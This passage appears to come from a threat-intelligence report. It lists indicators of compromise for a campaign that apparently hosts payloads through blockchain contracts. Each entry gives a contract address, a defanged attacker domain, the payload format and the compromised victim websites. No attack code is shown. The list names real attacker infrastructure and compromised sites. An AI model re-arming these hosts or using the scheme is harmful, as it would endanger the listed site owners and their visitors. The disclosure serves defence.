12. Contract: 0x6ac4170a50f2b6E982069463C205277C13Bb391D | Host: ravenstonekeep[.]top | Format: encrypted (recovered) | Victim(s): tarakularaft[.]com
13. Contract: 0xE0F9ACa9384Da7B7dd04fa9FE06Dfe51d816D9ec | Host: darkflamewatch[.]top | Format: encrypted (recovered) | Victim(s): jungleformula[.]in, theattic[.]co[.]in
14. Contract: 0x9F85277114091095D323a1d4FB18219A66b18538 | Host: styleussles[.]com | Format: not captured | Victim(s): yogaforlifeonline[.]com
15. Contract: 0xa10FD03d545F44C3287d5542ACFb4d74E6BB9906 | Host: styleteleport[.]com | Format: plaintext base64 | Victim(s): fourstarit[.]com[.]bd
16. Contract: 0x1cf9f972ffb05f8f8c32705dccb6548a7cbae496 | Host: stylehailens[.]com | Format: plaintext base64 | Victim(s): elisacavaletti[.]it
17. Contract: 0x5ba5FfFC8b9376295cB98A93BDFbA975e1c9fDC9 | Host: styleoutspin[.]com | Format: plaintext base64 | Victim(s): elisacavaletti[.]it
18. Contract: 0x6332d0e357a7b8209eb3d25e909bfe666db0290b | Host: styletimeset[.]com | Format: plaintext base64 | Victim(s): aromaray[.]co[.]il
19. Contract: 0xdec19e351fe4cbc5427a54ea34eaabbe2b58e671 | Host: voidravencitadel[.]com | Format: encrypted | Victim(s): madamedutilleul[.]com
20. Contract: 0xce14bcf47c302b8ca945fa00e66af0b480328bac | Host: stylerightnoww[.]com | Format: plaintext base64 | Victim(s): tonigo[.]fr, tiendabbraun[.]cl









